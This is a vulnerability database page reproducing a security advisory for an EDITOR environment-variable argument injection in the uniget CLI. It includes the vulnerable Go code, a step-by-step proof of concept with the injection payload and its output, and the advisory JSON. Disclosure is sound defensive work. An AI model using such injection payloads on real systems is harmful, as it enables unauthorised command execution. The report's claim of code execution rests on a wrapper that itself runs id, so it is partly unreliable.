Vulnerability-Lookup

GHSA-QMCQ-XW74-W667

Vulnerability from github – Published: 2026-08-17 17:46 – Updated: 2026-08-17 17:46

Summary

uniget CLI has an EDITOR Command Injection

Details

Summary

The uniget CLI has a command injection vulnerability in hooks.go line 199 where strings.Split(editor, " ") naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.

Vulnerable Code:

editorWithArgs := strings.Split(editor, " ")

Location Context:

editor := os.Getenv("UNIGET_EDITOR")
if len(editor) == 0 {
    editor = os.Getenv("EDITOR")
}
editorWithArgs := strings.Split(editor, " ")  // ← VULNERABLE
command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)

Issue: Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution.

Step to Reproduce

Step 1: Create malicious editor wrapper

mkdir -p /tmp/poc-editor
cat > /tmp/poc-editor/editor_wrapper.sh << 'EOF'
#!/bin/bash
echo "[EDITOR] Received args: $@"
id
EOF
chmod +x /tmp/poc-editor/editor_wrapper.sh

Step 2: Create test hook

mkdir -p ~/.config/uniget/hooks/pre-install
cat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF'
#!/bin/bash
echo "Test hook"
EOF
chmod 700 ~/.config/uniget/hooks/pre-install/test.sh

Step 3: Set injection payload

export EDITOR="/tmp/poc-editor/editor_wrapper.sh && id && echo"

Step 4: Run vulnerable code

cd /home/w4nn4d13/Downloads/cli
go build -o uniget ./cmd/uniget
./uniget hooks edit --type=pre-install test.sh

Step 5: Observe output

[EDITOR] Received args: && id && echo /path/to/hook
uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gitlab.com/uniget-org/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.27.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55061"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:46:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe uniget CLI has a command injection vulnerability in [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) line 199 where [strings.Split(editor, \" \")](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR=\"/path/to/wrapper \u0026\u0026 id \u0026\u0026 echo\" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.\n\n**Vulnerable Code:**\n```\neditorWithArgs := strings.Split(editor, \" \")\n```\n\n**Location Context:**\n```\neditor := os.Getenv(\"UNIGET_EDITOR\")\nif len(editor) == 0 {\n    editor = os.Getenv(\"EDITOR\")\n}\neditorWithArgs := strings.Split(editor, \" \")  // \u2190 VULNERABLE\ncommand := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)\n```\n**Issue:** Naive space-splitting allows injection. EDITOR=\"script \u0026\u0026 id \u0026\u0026 echo\" splits into [\"script\", \"\u0026\u0026\", \"id\", \"\u0026\u0026\", \"echo\"] enabling command execution.\n\n## **Step to Reproduce**\n\n**Step 1: **Create malicious editor wrapper\n```\nmkdir -p /tmp/poc-editor\ncat \u003e /tmp/poc-editor/editor_wrapper.sh \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\necho \"[EDITOR] Received args: $@\"\nid\nEOF\nchmod +x /tmp/poc-editor/editor_wrapper.sh\n```\n\n**Step 2: **Create test hook\n```\nmkdir -p ~/.config/uniget/hooks/pre-install\ncat \u003e ~/.config/uniget/hooks/pre-install/test.sh \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\necho \"Test hook\"\nEOF\nchmod 700 ~/.config/uniget/hooks/pre-install/test.sh\n```\n**Step 3:** Set injection payload\n```\nexport EDITOR=\"/tmp/poc-editor/editor_wrapper.sh \u0026\u0026 id \u0026\u0026 echo\"\n```\n\n**Step 4:** Run vulnerable code\n```\ncd /home/w4nn4d13/Downloads/cli\ngo build -o uniget ./cmd/uniget\n./uniget hooks edit --type=pre-install test.sh\n```\n**Step 5:** Observe output\n```\n[EDITOR] Received args: \u0026\u0026 id \u0026\u0026 echo /path/to/hook\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)\n```\n\n\u003cimg width=\"1017\" height=\"449\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce\" /\u003e",
  "id": "GHSA-qmcq-xw74-w667",
  "modified": "2026-08-17T17:46:05Z",
  "published": "2026-08-17T17:46:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/security/advisories/GHSA-qmcq-xw74-w667"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uniget-org/cli"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/releases/tag/v0.27.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "uniget CLI has an EDITOR Command Injection"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-QMCQ-XW74-W667

Summary

Step to Reproduce

Tags

Sightings

Nomenclature